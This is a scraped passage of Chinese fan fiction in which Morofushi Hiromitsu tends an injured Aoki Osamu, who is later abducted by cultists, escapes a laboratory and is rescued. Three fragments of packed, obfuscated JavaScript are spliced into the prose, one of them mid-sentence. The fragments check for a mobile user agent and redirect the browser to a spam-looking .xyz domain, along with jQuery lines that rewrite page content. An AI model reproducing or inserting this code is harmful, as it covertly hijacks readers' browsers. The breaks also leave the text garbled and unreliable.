“去我办公室吧!小阵平在那里!” “谢谢!” 青木修架着诸伏景光遥遥应了一声。 进了大厅两人就和正在买咖啡的伊达航打了照面。 “怎么了这是?” 青木修现在的身形强行拖着诸伏景光还是稍微有些吃力,伊达航下意识就要伸手帮忙,却被诸伏景光一把拍开。 “他……” 伊达航看了眼青木修,想起了前两天和另外几位同期的聊天。 “搜一还在忙……松田他们办公室这会儿应该空着!” “刚刚遇到了萩原警官,他说松田警官那边可以去。” “小心点。” 伊达航还是跟着他们上了楼,看着两人迈入机动队那层办公室走廊才回去。 “hagi给我打电话了。” 松田阵平早在门口等着,“今天轮到我俩留办公室,休息室在里间,这会儿空着。” 诸伏景光全程就死死掐着青木修肩膀,警惕地盯着松田阵平,满身提防。 “我在。” 青木修想让诸伏景光先坐下来,谁料对方没放手,连带着自己也坐下去了。 “我在。” “你……” 诸伏景光忽然凑近了青木修的脖颈。 “有血腥味。” “有血腥味!到底发生什么了!” 诸伏景光忽然瞪大了眼睛,声音之大连门外的松田阵平都吓了一跳。 “没事……” 青木修的眼神有一瞬间的飘忽,诸伏景光没有错过。 “到底怎么了?!” “青木修!说话!告诉我!” “哪里受伤了?!有没有哪里不舒服?!” “手!手划破了一点点!” 青木修几乎要招架不住濒临失控的诸伏景光,只能连忙说了实话。 诸伏景光所有的动作和声音都在一瞬间消失,像是被施了定身术。 “哪里?” “这里。” 青木修老老实实伸出手,掌心上有一道明显的划痕。 “这是刀伤。” 诸伏景光微微昂着头,死死钳制着青木修的手腕。 “怎么回事?不是顺道帮忙吗?” 他看上去似乎恢复了冷静,冷静的可怕。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831926|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“为什么没有保护好自己?为什么受伤了?” “真的只是不小心,没事的。” 诸伏景光呼一下把青木修的手举到两个人眼前。 “长度在八厘米左右,最深处接近一厘米,最浅处是刀锋带出来的割伤。” “这是不小心吗?!” 诸伏景光眼睛充血,但是始终没让眼泪落下来。 “青木……说实话好吗……” “好。” 青木修想要把手抽出来好好解释,谁料扯了一下发现根本拽不动。青木修现在完全无法和诸伏景光抗衡。 诸伏景光感受到了他的力量,冲着青木修温温柔柔笑了下,接着就把他受伤的手搭在了自己的眼睛上。 “……就是几个不良,欺负小孩……抬手拦了一下。” 诸伏景光此刻展现出了异常的敏锐,“抬手拦了一下……” 他重新看了眼青木修的掌心,“按照你的动作习惯,”他牵着青木修的手摆出了对方习惯的防御姿势,“这个方向对吧?” “不良勒索,应该是刺过来,但是,为什么这道刀伤是横向的?是搏斗的攻击动作才对。” 诸伏景光语调平稳,慢条斯理逻辑清晰,看着青木修的眼神里没有质疑,柔情似水。 现场是个有些诡异的画面,但青木修也没觉得不对或者是感受到害怕。 “求求你了,能告诉我实话吗?” “我……” 无论是何时的青木修,都无法拒绝诸伏景光的请求。 “两个小女孩……已经被打了,我听见声音进去看了眼,直接动手了。” “打起来了?” “嗯,打起来了,是袖珍折叠刀,没注意也就没防备。” 伤口的血还没有完全凝固,蹭了一点在诸伏景光的眼皮上。 “有血。” 青木修知道自己有错在先,稍显底气不足,没再直视诸伏景光。 “……下次别再冒险了。” 诸伏景光捧着他的脸,不动声色让两人的视线再一次交汇。 “不舒服及时告诉我,好吗?” 青木修第一次感觉到诸伏景光掌心这么低的温度,下意识用自己的手盖上他的手背。 血毫无意外地蹭到了诸伏景光的手背上。 “你的手,有些凉。” 明明自己的手更冷,也不知道诸伏景光哪里来的自信说出这种话。他先是把青木修的手塞进自己的口袋,接着伸出舌尖舔舐掉了手背上的一点血痕,和一丁点颗粒状血痂。 “我真的没事。” 青木修站起来,就着对方还坐着的姿势把他抱进怀里。 “我害怕……我真的好害怕……” 青木修感觉到胸前的衣服似乎湿了一点。 诸伏景光的声音明显带着哭腔。 “我在,我在……我一直都在。” 青木修缺乏相关的经验,只是笨拙地追着直觉安慰人。 “真的吗?” “真的。” 诸伏景光声音听起来起伏不大,可是整个人都在发抖。 青木修一下一下抚着他后背。经过康复训练以及各方的投喂,青木修不再像刚开始进医院那样病态的瘦削。 他微微垂着头,一只手揽着诸伏景光,一只手拍着他后背,半长的头发落在脸颊,阳光照在他们的身上,捂热了两人冷到近乎僵硬的身躯。 究竟是只有诸伏景光不对劲,还是他们俩都不对劲? 没有必要,也没有人想去弄明白了。 104.PTSD景遇到变小修if6 青木修猛地甩甩头,竭力想要把诸伏景光先前惊动了公安连带着警视厅的“壮举”从脑袋里面甩出去。 “我大概五点半左右,最迟晚饭前回来,要是景光来了我还没回,劳烦您告诉他一声。” “放心吧,我们会告诉诸伏警官的。” 青木修点点头,背着背包脚步轻快地出了医院大门。 另一边,诸伏景光等公安里各组长负责人在会议室里碰了面,甚至还有本来应该已经返回美国的赤井秀一。 “怎么回事?” 诸伏景光稍微皱了下眉头,倒不是说他对赤井秀一有意见,而是会在会议室里和这个家伙正式碰面,总归不可能是什么好事。 “诸伏,坐下说。” 黑田兵卫一抬手,示意大家先落座。 “是这样,”赤井秀一拿着一个U盘打开了电脑,“在清缴组织残余势力和密切往来合作方的时候,发现了还有一伙正在各处流窜、收集乌丸莲耶残部的人。” 文档里列举了各种恶性犯罪,以及证据指向图。 “他们是‘永生’理论的忠实信徒,坚信凭借乌丸莲耶的努力,他们距离实现这个目标只剩下一步之遥。” 降谷零和诸伏景光两个人交换了彼此手中的文件,和赤井秀一在文档里展示的内容反复比对,眉头慢慢皱了起来。 “这伙人入境了?” 他们手中有几起汇报上来的案子,作案手法和现场风格都和文档里的例子很相似。 “已经入境了,不过多项证据证明,他们在境内应该会停留相当长一段时间——毕竟这里是乌丸莲耶的老巢。” “他们的动向你们清楚吗?” 赤井秀一有些遗憾地耸耸肩膀,“他们动作很快,我们的情报目前还停留在他们已经入境。” 降谷零轻轻“哼”了一声,“刚刚和你们的资料进行了对比,发现这几个案子和举例很相似。” 他把手头的文件投屏,“这一起,还有这一起,应该就是他们做的没错了,现场有一致的标记,剩下的还需要进一步比对验证。” “所以目前这伙人入境已经是板上钉钉的事实。” 黑田兵卫敲敲桌子,“他们很有可能掌握着我们还没有追查到或者是遗漏的证据,要尽最大努力把这伙人在境内抓获。” “哦对了,”赤井秀一目光明确看向诸伏景光,“青木修现在在哪里?” 诸伏景光心里“咯噔”一下,做了个深呼吸才接话。 “还在警察医院,他变小和失忆的具体诱因都不清楚,医生怕出事,还一直没让他出院。” “那就好,”赤井秀一点点头,“我们抓到了一个他们的下线,根据对方交代,这伙人最近绝大部分注意力都放在追找一个‘灰色眼睛的疤脸男人’身上。” 他应该没记错,当时青木修被诸伏景光带出来,人虽然变小了,但脸上的疤还在。 诸伏景光瞬间变了脸色,他脸颊的肌肉不甚明显的动了下,应当是想笑但是没能笑出来。 “当真吗?” “消息属实。” 诸伏景光拿起放在一旁的手机,还没反应过来就解了锁找到了青木修现在的手机号。 降谷零很是担忧地看向他。 “没事,应该没事。” 诸伏景光注意到,不知道是在安慰他还是安慰自己,强装镇定。 “嘟……” 电话被顺利拨通,在场的人几乎面色同时一松。 “对不起,您拨打的电话……” 一分钟过去,通话自动转为客服音,诸伏景光握着手机的手脱了力,手机砸在桌面上,发出了一声沉闷的“咚”。 “万一是没听见呢?毕竟开着机呢。” 有人开了口,劝诸伏景光再试几次。 整个会议室里声音轻的连呼吸声都几乎没有,大家都屏息凝神地关注着诸伏景光的一举一动。 “对不起,您拨打的电话……” “对不起,您拨打……” “对不起……” “对……” …… 不知道过去了多久,诸伏景光的每一次都能顺利拨通,每一次都没人接通。 “出事了……出事了!” 诸伏景光“噌”站起来,摸着背后的枪就准备往外冲。 “hiro你等一下!” “诸伏君,冷静。” 最靠近门口的赤井秀一眼疾手快拖了诸伏景光一下,给了后面的降谷零追上他的机会,两个人一起把人摁下。 “我们现在就想办法,你一个人太危险了。” 诸伏景光胸膛剧烈起伏,“青木修更危险……” “降谷,赤井先生。” 黑田兵卫站起来,“能不能麻烦你们,先跟着诸伏,我们随时保持联络。” “好。” “明白。” 赤井秀一能自己做主,降谷零得到了上司的批准,两个人松了力气,追着诸伏景光冲了出去。 “先查手机信号和监控,他说了下午要出去。” 诸伏景光拉开安全通道的防火门,动作突然顿了一下,“给警察医院那边打电话,问问有没有人看到他往哪边走的。” 难为诸伏景光,这种时候还能维持思路。 “已经安排下去了,你现在准备去哪儿?” “我早该盯着他……” 诸伏景光牛头不对马嘴的一句话让身后的两个人都在瞬间看向了他。 而身处视线中心的人毫无所觉,低头翻看着手机,“青木修……我就应该锁着他……” 降谷零视线缓缓移向赤井秀一,威胁之意不言而喻。 “先找人。” 赤井秀一抬手,“刚刚耳鸣,没听见你们说什么了。” . 青木修打算买点御守的材料包,自己做好了送给诸伏景光。 他听护士们说,御守可以保平安,诸伏景光天天一线上奔波,带一个御守多少也能求一点心安。 他特意上网查了一下,最近一家好评最高的卖工艺品半成品包的铺子就在不远,不过御守里最好放一个诚心求来的平安符。 求平安最灵验的神社还有一点距离,想要在五点半之前赶回来,脚程还得快一点。 这件事在他心里酝酿了好几天,路程什么的早就规划好了,一出警察医院大门就目标明确地朝着神社赶。 “平安……平安……” 网上的教程说一定要心诚,青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837423|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木修一路上心里默念的话就没停过。 他按照路线,先求了平安符,再去买材料包不走回头路。 “还差……材料包。” 从神社里出来,青木修把神社原本的御守挂在了脖子上,平安符就在里面。 神社附近很僻静,就算有往来的人也都怀着虔诚之心,安安静静地来去。 青木修看了眼时间,稍微有点紧,便决定走一个小道,直接插到大路上。 “还有……” 一个人的小路比神社里更加寂静,多余的脚步声也就更加明显。 “出来吧。” 他忽然刹住脚,转过身,看着空无一人的身后,“跟了我一路了,有事直说。” 回答他的只有无边寂静。 青木修没有掉以轻心,浑身上下肌肉紧绷,做好了反击的准备。 不过他最终还是什么都没等到,迟迟没有人出现。 不过青木修很确定不是自己神经过敏——他从头到脚每一根骨头都开始隐隐作痛。 皮肤像是要被里面的骨头“破土而出”一样刺开,剧烈的疼痛一边刺激着他的意识保持一点清醒,可是空气里又似乎有什么东西,在模糊着他的视线。 在维持清醒的最后时刻,青木修隐隐约约看见了人影。 他始终没有放弃,还勉强调动着四肢做出反击。 整个过程很快也很安静,没有人出声,双方都很干脆利落地动手。 青木修拼尽全力维持清醒,但暗箭难防,对方不知道什么时候使用的药物还是逐渐让他没了力量。 最后一瞬间,他只记得自己似乎偏了下头,颈侧有一点细微的疼痛。 . 诸伏景光很快摸清楚了青木修下午的行程,又根据监控和手机信号锁定了最后的失踪位置。 “青木修!青木修!” 饶是降谷零和赤井秀一两个体力怪物跟在他身后都有一点吃不消了,可诸伏景光本人还像一个永动机似的不知疲倦。 “青木修!” 诸伏景光的嗓子已经哑了,声音像是被砂纸一样粗粝。 “青木修!你在——” 后面脚步不停的两个人一个没刹住,直接撞上了前面突然停脚的诸伏景光。 “有什么情况?” 诸伏景光“嗬嗬”喘着粗气,举起来了一个东西。 是一枚断掉的御守,就是这个神社的专有款式。 “有血。” 他喉结上下滚动了一下,“青木修的。” “你先冷静一下……” 赤井秀一半蹲着时刻提防诸伏景光做出什么冲动行为。 “hiro,你先听我说,青木肯定还活着。” 他把御守又往诸伏景光眼前怼了怼,“你看清楚,出血量!这里的出血量不致死!” “看清楚了hiro!” 诸伏景光的眼睑是下压的,但是眼睛在向上看,看那枚染了血的御守。 “还活着。” “对!他活着!现在应该去找FBI说的那伙人!” 诸伏景光看起来十分费力地眨了下眼睛,站直了身子,后背的骨头都“嘎吱”作响。 “去找他们,去找到青木修。” 105.PTSD景遇到变小修if7 青木修在一阵剧痛中醒来,他甚至没能在第一时间感受到身体其他部位的存在。 他并不清楚自己现在在什么地方,不过房间里的装修倒是非常熟悉——生物实验室。 那些警察不是说组织的老巢已经被捣毁了吗? 不过眼下的情况并不容许他多做他想。 侧方立着一个输液架,不明的暗红色液体正顺着软管被输送进他的身体。 与此同时,另一条手臂上又绑着一个他说不上来名字的仪器,采集他的血液。 更糟糕的是他发现自己的大脑还没有完全清醒,昏昏沉沉,连完整的思考一个问题都很难,大腿和小腿明显的钝痛让混沌的大脑都没办法忽略。 “嘶……” 他没有言语没有动作,只是先虚着眼睛四下大量了一圈整个实验室,确认了这里面暂时没有人,才完全睁开眼睛尝试动作。 不清楚到底是什么原因让这些带走他的人没有限制青木修的活动,他费了些力气,成功挣脱开了并不严格的束缚。 青木修扯掉了扎进手背的针头,随意摁了几秒就当做是止血。站在地面以后,腿部疼痛更加强烈,随着动作,钝痛还慢慢朝着他更加熟悉的撕裂伤带来的刺痛发展。 “样本已经在处理了,标本容器也都做好了。” 门外的人声由远及近,青木修立刻踮着脚躲到门后。 实验室大门被向内推开,正好在短时间内给青木修创造了一个视野盲区,没让这伙人在第一时间发现他的移动。 “人呢?!” 走在最前的人本来还侧着头和落后他一步的几人聊天,不经意一瞥发现手术台空了。 不过这一刻才发现已经晚了,青木修从后方起跳,四肢牢牢锁住距离自己最近的一个人把他放倒,随后毫不恋战,掉头就向着外面冲。 他的速度实在是太快,其他人刚反应过来到底是谁袭击了他们,青木修已经跑过了大半条走廊。 地上那个被他扑倒的人还有最后一口气,或许是因为时间仓促青木修并没有来得及检查,不过他的脖子呈现出一个诡异的弯折,没死也活不了多久了。 这些乌丸莲耶的信徒把组织冷血的特点发扬光大,压根没管地上还在垂死挣扎的同伙,拔脚追着青木修冲了出去。 被抛弃的人艰难抽气,满含怨恨与不甘地盯着同伴们远去的背影,直到断气也没有闭上眼睛。 腿上疼得厉害,但青木修丝毫不敢耽搁,顾不得腿上和手臂上不断滴下的鲜血,赤脚在曲折的走廊里狂奔着。 根据这里的建筑风格,他推断很有可能是一处没有被发现的原组织基地。 这种曲折蜿蜒,并且几乎没有任何可供区别记忆点的长廊极为折磨人,试图逃走却一眼看不到头,走廊两侧也没有任何装饰,时间久了很可能会出现自己走错路或者是一直在原地打转的错觉。 好在青木修对这种风格很熟悉,不断暗示自己出口就在前方,始终憋着一口气没有放弃。 他的失踪很快惊动了整个零组,所有涉及到组织相关的工作小组在岗人员全部忙了起来,办公室里很是嘈杂,不过诸伏景光身边倒是很空旷,除了一左一右的降谷零和赤井秀一,身边几乎没有一个人。 无他,诸伏景光现在周身气压实在是太低了,但凡换一个人来都几乎无法保持正常呼吸。 “这是目前所有的可能路径。” 诸伏景光的电脑里跑着让人眼花缭乱的代码,最后跳转成了一幅地图,从青木修失踪的神社起,不同的颜色标记出了好几条不同的路线,分别出现了几个交汇点。 “有结果了!” 被降谷零叫来的公安回头喊了一声,立刻把分析结果发到了相关人员的手机上。 “这几处都是可能的藏匿地点,需要人工排查。” 赤井秀一站起来,把有点歪了的毛线帽扶正,“一人一组?” “嗯,我去这里。” 诸伏景光圈出了一个看起来平平无奇的交汇点。 “这里吗?” “我觉得他就在这里。” 向来说话办事都讲证据的诸伏景光破天荒凭直觉做事,不过降谷零和赤井秀一并没有多做阻拦,只是各自帮他点了人,随即便朝着各自的任务目标出发了。 “诸伏先生,我……” 坐上驾驶座的公安觉得自己只是眨了个眼的时间就从座位到了后排,现在坐在驾驶座上的人是诸伏景光,他甚至已经启动了发动机。 “我们……” “坐好。” 后排的两个公安毫无防备,强烈的推背感直接把他们拍在了椅子上。 诸伏景光一个甩尾倒车,一脚油门飞出了车库。 坐在副驾上的公安心惊胆战,本来打着转移注意力的念头扭头看了眼诸伏景光。 不看还好,这一看他心跳更快了。 要知道诸伏景光在警察厅向来是以“和蔼可亲”出名,可是现在坐在驾驶座上开着车的魔鬼是谁?! 分明没有表情,呼吸平稳眨眼频率正常,可他就是从诸伏景光的脸上和眼睛里看出了不加掩饰的汹涌杀意。 意识到自己的视线有些过于明显了,公安连忙把视线收了回去,闭上眼睛在心里默念工作手册。 被吓到的公安视线没有乱转,不然他就会发现诸伏景光握着方向盘的两只手青筋暴起,包在方向盘上的防滑套都被他抓烂了一块。 好在是提前给交通那边打了招呼,一路上诸伏景光凭借着自己和同期们如出一辙的车技在车流中自由穿梭,无视后方司机们或是不满或是惊吓的喇叭,诸伏景光领着自己的这一支小队以最快的速度赶到了他盯上的位置。 耗时比预计时间少了将近一半。 诸伏景光在隐蔽处停好车,抄起装备飞身而下,一句废话也不多说,三言两语布置好了行动计划,率先带着四个人从一个方向逐渐朝着目标小心靠近。 所有能被省略的话语全部被他用手势代替,一行人悄无声息找到了入口,潜入这个不起眼的建筑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846653|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 或许冥冥之中真的有天意存在,诸伏景光一眼选中的地方还真的就是青木修当前所在。 和之前的组织所属建筑一样,依旧是见不得光的操作,重要的实验室或者是储存室都在地下。 青木修还在地下“大闹天宫”,他凭借着对组织作风的了解和这群人玩着大逃杀版的躲猫猫,两方人时不时就从一个意料之外的角落里突然出现,一个抓一个逃,一时半会儿谁也没有占据上风。 耳边时不时有微弱的子弹呼啸声或者是利器破空声,但青木修脚步不敢停,他现在整个嗓子里都是血气,耳朵里几乎被自己的呼吸声占据全部听力。 腿上的异常疼痛也早就发现了原因——这些家伙采集了他的肌肉细胞,应该就是拿去做标本了,疼痛正是手术后没有精心处理的伤口造成。 “你跑不掉!” 身后的咆哮和谩骂也不绝于耳,青木修统统当了耳旁风,面前又是一个突兀的拐角,他脚尖一转,几乎没有减速就顺利拐了弯,顺道还从墙壁上拔下了一把扔歪了的匕首,趁着转向的时刻反手扔了出去。 有没有击中根本就不是他的目的,哪怕这把匕首能给追兵造成一秒钟的迟疑就是胜利。 青木修腿都跑到麻木了才看见能够上行的通道,不用说,里面肯定早有埋伏。 前有狼后有虎,自己的身体状态也岌岌可危,但是青木修不想就此放弃。 他以迅雷不及掩耳之速调转方向,趁着后面的追兵没反应过来的时候空手就是一拳! 就在他的拳风已经扫到对面那人脸上的时候,青木修忽然化拳为掌,指尖绷紧,顺着惯性让手指戳进了那人眼眶! 令人牙酸的爆浆声以及不怎么舒适的粘液感丝毫没有迟滞青木修的动作,他弯腰躲过了另外一人的攻击,重新起身时劈手躲过了一支枪,接着毫不犹豫单手上膛就是一梭弹夹! 就在身后追兵犹豫的瞬间,他再一次拉开双方的距离,径直进入了通道。 和最开始的预估一样,通道里早有埋伏。青木修咬紧牙关,飙升的肾上腺素暂时屏蔽了痛觉,支撑着他一路没有停歇的前行。 身前的人处理完了,身后的人又重新追了上来。 青木修不得不再一次转身,把自己的后背暴露在了还不知安全与否的一侧。 好巧不巧,就在他意识到枪中子弹打光的一瞬,身后传来了催命一样的脚步声。 这时候一切动作都是多余的,青木修只能选择侧步后背贴墙,空着的手护住头,尽可能提升自己的存活概率。 “嘭!” 子弹出膛。 虽然自己已经极力克制,但青木修还是没控制住自己的眼部肌肉,短暂的闭了一下眼睛。 想象中的疼痛没有来临,想法是原本后背的方向传来了一声□□触地的声音。 通道的拐角,站着双目赤红,气喘吁吁的诸伏景光。 两人视线相交,诸伏景光眼前一黑,后退了几步。 还好,这一次他没有来晚。